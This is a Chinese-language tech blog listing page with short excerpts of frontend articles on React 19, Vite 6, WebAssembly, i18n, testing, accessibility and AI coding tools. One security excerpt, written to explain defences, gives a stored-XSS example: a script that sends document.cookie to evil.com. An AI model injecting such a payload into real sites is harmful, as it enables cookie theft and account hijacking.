规格驱动开发与 Harness Engineering:AI 时代的软件工程新范式
深入解析 SDD(Spec-Driven Development)与 Harness Engineering 的核心理念,探讨 AI 编程时代软件工程的最佳实践。
tech digest
每页 20 篇,专注技术与产品记录。
深入解析 SDD(Spec-Driven Development)与 Harness Engineering 的核心理念,探讨 AI 编程时代软件工程的最佳实践。
通过分析 Claude Code 50 万行源码,探索其独特的分层状态架构,并与 Redux、Zustand、Jotai 等主流方案从实现原理、订阅机制、性能优化等维度进行深度对比,揭示 2026 年状态管理的整体趋势。
面试备战期间动手实现的 NestJS + Prisma + PostgreSQL 博客后端项目,涵盖数据库 Schema 设计、Prisma 迁移全流程、JWT 认证、嵌套评论树形查询、搜索分页等核心功能,附 GitHub 源码。
作为前端开发者,当我第一次接触 Python 时,发现很多概念已经懂了,只是语法不同而已。这篇文章用「前端视角」来拆解 Python 基础,帮你建立认知映射,快速上手。
React 19 让服务端组件成为标准配置。
WebAssembly 在前端应用中的深度实践。
2026 年 AI 已经深度融入前端开发流程。
每到年底,回顾这一年前端领域的变化,总会发现年初的技术预判有不少偏差。这篇文章聊聊 2025 年前端领域实际发生了什么。 2025 年的前端框架格局可以用两个字概括:**稳定**。 React 19 正式发布,Server Components 不再是实验性功能。Vue 3.5 发布,Composition API 更完善。Angular 持续迭代(但国内关注度不高)。Svelte 5 带来了 R
Serverless 不是新概念了,但随着 Vercel、Cloudflare Workers、Deno Deploy 等平台的成熟,它在 2025 年和前端开发的关系越来越密切。 Serverless 不是"没有服务器",而是开发者不需要管理服务器。你只写函数,平台负责扩缩容、运维、计费。 传统部署: 买服务器 → 配置环境 → 部署代码 → 监控运维 → 扩缩容 Serverless:
如果你的网站需要支持多语言,就需要做国际化和本地化。这两个概念经常混用,但含义不同: - **i18n(Internationalization)**:使产品能适应不同语言和地区 - **l10n(Localization)**:为特定语言和地区做适配 这篇文章以 React 项目为例,聊聊多语言支持的实际实现。 src/ i18n/ index.ts # i18n
前端安全经常被忽视,直到出了安全事故才开始重视。这篇文章覆盖最常见的前端安全问题和防护方案。 XSS 是最常见的前端安全问题。攻击者通过注入恶意脚本到页面中,在用户浏览时执行。 **存储型 XSS**(最危险): // 用户在评论里输入恶意内容 "<script>document.location='http://evil.com?cookie='+document.cookie</script>
设计系统(Design System)不是大公司的专利。即使是一个小团队,有一套基本的设计系统也能显著提升开发效率和设计一致性。 设计系统 ├── 设计 Token(颜色、字体、间距、圆角) ├── 基础组件(Button、Input、Card) ├── 业务组件(SearchBar、PostCard、UserMenu) └── 模式和规范(布局模式、交互模式、文案规范) Token 是设计系统的
React 组件测试的工具链在 2025 年基本从 Jest + React Testing Library 迁移到了 Vitest + React Testing Library。这篇文章聊聊 Vitest 的配置和实际的测试写法。 几个实际的原因: - Vitest 基于 Vite,配置更简单(复用 vite.config.js) - 启动速度更快(不需要 Jest 的 AST 转换) - 原
前端开发经常忽略无障碍(Accessibility,简称 a11y)。但实际上,做无障碍不只是"道德正确",它直接影响你网站能覆盖多少用户,也和 SEO 有关系。 WCAG 2.1 定义了四个原则: 1. **可感知**:信息能被感知到(文本替代、字幕、对比度) 2. **可操作**:界面能被操作(键盘导航、足够的时间) 3. **可理解**:内容和 UI 可被理解(清晰的语言、可预测的行为) 4
WebAssembly(Wasm)已经不再是实验性技术了。2025 年,它在浏览器里的支持已经非常成熟。但很多前端开发者对 Wasm 的印象还停留在"很酷但用不上"的阶段。这篇文章聊聊 Wasm 在前端到底能用在哪。 先说清楚一件事:Wasm 不会替代 JavaScript。它是 JavaScript 的补充,处理那些 JS 不擅长的高性能计算。 JavaScript → UI 交互、DOM 操作
Web API 越来越丰富,有些 API 虽然不常被提及,但在实际开发中能省不少事。这篇文章整理了一些 2025 年已经可以放心使用的浏览器 API。 复制到剪贴板终于不需要 Flash 或 execCommand 了: // 复制文本 await navigator.clipboard.writeText('Hello World'); // 读取剪贴板 const text = await n
monorepo 在前端圈越来越流行。pnpm 的 workspaces 功能是目前最轻量的 monorepo 方案,不需要学 Nx 或 Turborepo 那套复杂的工具链。 在前端项目里,monorepo 的典型场景: - 前端应用 + 后端 API 在同一个仓库 - 多个应用共享组件库、工具库 - 微前端项目,多个子应用共享依赖 好处: - **代码共享方便**:直接 import,不用发包
CSS `:has()` 选择器在 2023 年底拿到主流浏览器支持,到 2025 年已经可以放心使用了。它被称作"CSS 的父选择器"——虽然不只是选父元素,但这是它最常见的用法。 `:has()` 的用法是根据后代元素的状态来匹配祖先元素: /* 选中"包含 img 子元素的 figure" */ figure:has(img) { border: 1px solid #ddd; pa
2025 年前端构建工具的格局基本定了:Vite 是主流选择,Rust 写的工具正在从边缘走向核心。Vite 6 在 2024 年底发布,配合 SWC、Turbopack 这些 Rust 工具,构建速度和开发体验又上了一个台阶。 这是 Vite 6 最大的新功能。之前如果你需要在同一个项目里同时跑浏览器端和服务端代码,配置起来比较麻烦。Environment API 给了一个统一的方案: // v
2025 年前端圈绕不开的话题就是 AI 编码工具。我用了将近两年的 AI 辅助编码,从 GitHub Copilot 到 Cursor,再到 Windsurf,记录一些实际体验。 Copilot 是最早大规模使用的 AI 编码助手。以 VS Code 插件的形式提供,代码补全是它的核心功能。 日常使用中,Copilot 最强的场景是: - 写重复性的模板代码(CRUD 接口、表单组件) - 补全